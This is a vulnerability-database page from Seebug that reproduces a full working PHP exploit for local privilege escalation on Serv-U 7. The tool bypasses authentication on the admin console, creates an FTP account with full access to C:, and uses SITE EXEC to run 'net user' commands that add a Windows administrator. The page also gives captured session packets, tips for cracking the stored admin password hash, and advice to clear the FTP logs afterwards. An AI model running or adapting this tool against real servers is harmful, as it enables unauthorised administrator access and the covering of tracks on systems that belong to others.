Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
seebugRootSSV:10646
HistoryFeb 17, 2009 - 12:00 a.m.

serv-u 7 local exp

2009-02-1700:00:00
Root
www.seebug.org
11
JSON

No description provided by source.


                                                <?
/*
	serv-u 7 local exp ver 1.0
	www.inbreak.net
	author [email protected] 2008-11-19
	modify 2008-11-20 	
*/
/*
下面是用到的主要数据包，给大家研究用。如果你用asp等语言再写一次，可以参考。
Global user list:
GET /Admin/XML/OrganizationUsers.xml&ID=161&sync=1227078625078&ForceList=1 HTTP/1.1
Accept: 
Accept-Language: zh-cn
Referer: http://127.0.0.1:43958/Admin/ServerUsers.htm?Page=1
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 127.0.0.1:43958
Connection: Keep-Alive
Cookie: domainid=3841; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false; 
killmenothing; 
Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25787a8544280754
581406246bf8

Global c:\|RWADNELCRNI:
POST /Admin/XML/Result.xml?Command=AddObject&Object=CServer.0.DirAccess&Sync=1227081261640 HTTP/1.1
Accept: 
Accept-Language: zh-cn
Referer: http://127.0.0.1:43958/Admin/ServerDir.htm?Page=1
User-Agent: Serv-U
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
Host: 127.0.0.1:43958
Content-Length: 67
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: domainid=3841; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false; killmenothing; Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25787a8544280754581406246bf8

Access=7999&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&

this user c:\|RWADNELCRNI:
POST /Admin/XML/Result.xml?Command=AddObject&Object=CUser.618060.DirAccess&Sync=1227081437828 HTTP/1.1
Accept: 
Accept-Language: zh-cn
Referer: http://127.0.0.1:43958/Admin/ServerUsers.htm?Page=1
User-Agent: Serv-U
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
Host: 127.0.0.1:43958
Content-Length: 67
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: domainid=3841; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false; killmenothing; Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25787a8544280754581406246bf8

Access=7999&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&

------------------------------不足之处---------------
期待大家美化这个工具
对su的设置环境要求太多
请大家在这里填写。。

*/	
?>
<html>
	<title>Serv-u 7 local exp ver 1.0 by kxlzx</title>
	<body>
	<script>
	function fun_showDiv(show)
	{
		document.getElementById(show).style.display="block";
	}
	</script>
	<b>Serv-u 7 local exp ver 1.0 by kxlzx</b>
		<form id="form1" name="form1" method="post" action="?">
				<p><a href="#" onclick="fun_showDiv('adminpassdiv')">管理员密码</a>
				  <input type="text" name="admin_pwd" value="" />
			  </p>
			  <p>直接提权！
				  <input type="submit" name="cmd" value="提权" />  
				<a href="#" onclick="fun_showDiv('QAdiv')">QA</a>
			  </p>
			  <pre>

<?

//Global var
	$port=43958;
	$host="127.0.0.1";
	$sessionid="";
	$getuserid="";
	$ftpport=21;
	$ftpuser="kxlzx_hacked";
	$ftppwd=$_POST['admin_pwd'];
	$exec_addUser="site exec c:/windows/system32/net.exe user ".$ftpuser." ".$ftppwd." /add";
	$exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".$ftpuser."  /add";

if($_POST['cmd']) {

//login-----------------------------------------
	$sock_login = fsockopen($host, $port);
	$URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
	$post_data_login['user'] = "";
	$post_data_login['pword'] = $ftppwd;
	$post_data_login['language'] = "zh%2CCN&";
	$ref="http://".$host.":".$port."/?Session=39893&Language=zh,CN&LocalAdmin=1";
	$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
	fputs($sock_login, $postStr);
	$result = fread($sock_login, 1280);	
	$sessionid = getmidstr("<sessionid>","</sessionid>",$result);
	if ($sessionid!="")
		echo "登陆成功！\r\n";
	fclose($sock_login);
//login-----------------------------------------

//getOrganizationId-------------------------------
	$OrganizationId="";
	$sock_OrganizationId = fsockopen($host, $port);
	$URL='/Admin/ServerUsers.htm?Page=1';
	$postStr = createRequest($port,$host,$URL,"",$sessionid,"");
	fputs($sock_OrganizationId, $postStr);
	$resultOrganizationId="";
	while(!feof($sock_OrganizationId)) {
		$result = fread($sock_OrganizationId, 1024);	
		$resultOrganizationId=$resultOrganizationId.$result;
	}
	$strTmp = "OrganizationUsers.xml&ID=";
	$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
	$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));
	fclose($sock_OrganizationId);
	if ($OrganizationId!="")
		echo "获取OrganizationId".$OrganizationId."成功！\r\n";
//getOrganizationId-------------------------------

//getuserid---------------------------------------
	$getuserid="";
	$sock_getuserid = fsockopen($host, $port);
	$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&Sync=546666666666666663";
	$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";
	$post_data_getuserid="";
	$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
	fputs($sock_getuserid, $postStr);
	$result = fread($sock_getuserid, 1280);	
	$result = getmidstr("<var name=\"ObjectID\" val=\"","\" />",$result);
	fclose($sock_getuserid);
	$getuserid = $result;
	if ($getuserid!="")
		echo "获取用户ID".$getuserid."成功！\r\n";
//getuserid---------------------------------------

//adduser-----------------------------------------
	$sock_adduser = fsockopen($host, $port);
	$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&Sync=1227071190250";
	$post_data_adduser['LoginID'] = $ftpuser;
	$post_data_adduser['FullName'] = "";
	$post_data_adduser['Password'] = 'hahaha';
	$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";
	$post_data_adduser['PasswordType'] = "0";
	$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";
	$post_data_adduser['AdminType'] = "";
	$post_data_adduser['ComboHomeDir'] = "/c:";
	$post_data_adduser['HomeDir'] = "/c:";
	$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";
	$post_data_adduser['Type'] = "0";
	$post_data_adduser['ExpiresOn'] = "0";
	$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";
	$post_data_adduser['WebClientStartupMode'] = "";
	$post_data_adduser['LockInHomeDir'] = "0";
	$post_data_adduser['Enabled'] = "1";
	$post_data_adduser['AlwaysAllowLogin'] = "1";
	$post_data_adduser['Description'] = "";
	$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";
	$post_data_adduser['ComboSignOnMessageFilePath'] = "";
	$post_data_adduser['SignOnMessageFilePath'] = "";
	$post_data_adduser['SignOnMessage'] = "";
	$post_data_adduser['SignOnMessageText'] = "";
	$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";
	$post_data_adduser['LimitType'] = "Connection";
	$post_data_adduser['QuotaBytes'] = "0";
	$post_data_adduser['Quota'] = "0";
	$post_data_adduser['Access'] = "7999";
	$post_data_adduser['MaxSize'] = "0";
	$post_data_adduser['Dir'] = "%25HOME%25";
	$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
	fputs($sock_adduser, $postStr,strlen($postStr));
	$result = fread($sock_adduser, 1280);	
	fclose($sock_adduser);
	echo "添加用户成功！\r\n";
//adduser-----------------------------------------

//addpower-----------------------------------------
	$sock_addpower = fsockopen($host, $port);
	$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";
	$post_data_addpower['Access'] = "7999";
	$post_data_addpower['MaxSize'] = "0";
	$post_data_addpower['Dir'] = "/c:";
	$post_data_addpower['undefined'] = "undefined";
	$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
	fputs($sock_addpower, $postStr,strlen($postStr));
	$result = fread($sock_addpower, 1280);	
	fclose($sock_addpower);
	echo "添加权限成功！\r\n";

//addpower-----------------------------------------

//exec-------------------------------
	$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
	$recvbuf = fgets($sock_exec, 1024);
	$sendbuf = "USER ".$ftpuser."\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fgets($sock_exec, 1024);

	$sendbuf = "PASS hahaha\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fgets($sock_exec, 1024);

	$sendbuf = $exec_addUser."\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fread($sock_exec, 1024);
	echo "执行".$exec_addUser."\r\n返回了$recvbuf\r\n";
	

	$sendbuf = $exec_addGroup."\r\n";
	fputs($sock_exec, $sendbuf, strlen($sendbuf));
	$recvbuf = fread($sock_exec, 1024);

	echo "执行".$exec_addGroup."\r\n返回了$recvbuf\r\n";
	fclose($sock_exec);
	echo "好了，自己3389上去清理ftp用户日志吧！\r\n";
//exec-------------------------------

}

/** function createRequest
	@author : kxlzx 2008-11-19
	@port_post : administrator port $port=43958;
	@host_post : host $host="127.0.0.1";
	@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
	@post_data_post : arraylist $post_data['user'] = "";...
	@return httprequest string
*/
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
	$data_string="";
	if ($post_data_post!="")
	{
		foreach($post_data_post as $key=>$value)
		{
			$values[]="$key=".urlencode($value);
		}
		$data_string=implode("&",$values);
	}
	$request.="POST ".$URL_post." HTTP/1.1\r\n";
	$request.="Host: ".$host_post."\r\n";
	$request.="Referer: ".$referer."\r\n";
	$request.="Content-type: application/x-www-form-urlencoded\r\n";
	$request.="Content-length: ".strlen($data_string)."\r\n";
	$request.="User-Agent: Serv-U\r\n";
	$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)\r\n";
	$request.="Accept: */*\r\n";
	$request.="Cache-Contro: no-cache\r\n";
	$request.="UA-CPU: x86\r\n";
	
	if ($sessionid!="")
	{
		$request.="Cookie: Session=".$sessionid."\r\n";
	}
	$request.="\r\n";
	$request.=$data_string."\r\n";

	return $request;
}

//getMidfor2str copy from internet
function getmidstr($L,$R,$str)
{  
	$int_l=strpos($str,$L);
	$int_r=strpos($str,$R);
	If ($int_l>-1&&$int_l>-1)
	{
		$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
		return $str_put;
	}
	else
		return "没找到需要的变量，请联系[email protected]";
}
?>
			  </pre>
		</form>
<div id="adminpassdiv" style="display:none">
<pre>
默认为空，如果密码为空，<b>填什么都能进去。</b>
如果修改过，管理员密码默认会在这里：
<b>C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive</b>
文件中找到一个MD5密码值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为<b>kx</b>123456，去掉kx就是密码了。
你可以针对这个加密生成字典。

auther:kxlzx www.inbreak.net
</pre>
</div>
<div id="QAdiv" style="display:none">
<pre>
<b>一，su7是提权有几种方式？</b>
	有两种形式去干掉su7。
	1>，登陆管理员控制台的页面
			==>获取OrganizationId，用于添加用户
			==>获取全局用户的“下一个新用户ID”
			==>添加用户
			==>添加用户的权限 or 添加全局用户权限
			==>用户登陆
			==>执行系统命令添加系统账户。
	2>，登陆管理员控制台页面
			==>基本WEB客户端
			==>来到serv-u的目录下--users--Global user目录
			==>上传一个你已经定义好的用户文件
			==>用户登陆
			==>执行系统命令添加系统账户
	而本文件使用了<b>第一种</b>方法。
<b>二，提权的原理？</b>
	Su7的管理平台是http的，很先进。
	抓包，分析，发现了以下路程是可以利用的。
	1，	管理员从管理控制台打开web页面时，是不需要验证密码的。
	2，	管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
	3，	管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。
	4，	管理员添加了用户的这个包和设置权限这个包，是分开的。
	所以，我可以抓包然后转换成php的socket连接post出去。
	最后在用经典的ftp登陆，exec命令。达到提权。
	在写php的过程中，遇到很多问题，比如函数不会用等等（—_—!以前没学过php），感谢“云舒牛”帮忙。。。
	在分析包的流程，发现了一些特征，服务器返回的数据，全是以xml格式发来的。而在数据传输的过程中，设计的很经典。
	Su7也有自己的数据库，他也会自己生成一个id。
	这个ID是随机的，在你创建用户时，会先请求服务器生成一个，生成好后，修改该id的用户名，密码等。
	这很像oracle的insert手段。

	写工具的过程中，遇到很多麻烦，最大的麻烦就是这个ID问题，后来分析出来了。
	添加权限时，也是可以利用这个ID的。
	于是工具一共连接了6次服务器，这几次分别是：
	1，	用来登陆平台，使用那个输入任何密码都可以登陆的页面地址。返回一个sessionid，这个sessionid在以后的包都用到了。
	2，	获取OrganizationId，用于添加用户
	3，	用来请求一个用户ID。
	4，	修改该ID的登陆用户名，密码。
	5，	修改该ID的权限，加c盘的写删执行等。
	6，	这次连接是做坏事的，使用前面添加的用户执行系统命令。
<b>三，为啥我明明显示成功了，但是却提不上去？</b>
	这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。
	一般有以下几种情况：
	1，可能是因为管理员密码不对。
		参照管理员密码的连接。
	2，可能是因为管理员限制了执行SITE EXEC。
		有待程序修改，程序可以加一个让他不限制的功能。
	3，可能是程序问题。
	<b>4，为啥作者有这么多理由不去改？</b>
	你没发现么？一旦把东西做完美了，那比较系统的防御方案就出来了。
	如果不完美，让他以为我们就这点手段，防御系统也会这么认为。
	不信的话，过段时间，防御方案出来了，肯定有一条：“修改site exec为不可访问”。
	到时候，我再写个功能，把这玩意改回来就是。
	所以，等大家都提倡要XXXX的时候，我再解决XXXX的问题。大家先这么玩着吧:)

auther:kxlzx www.inbreak.net

</pre>
</div>
	</body>
</html>
JSON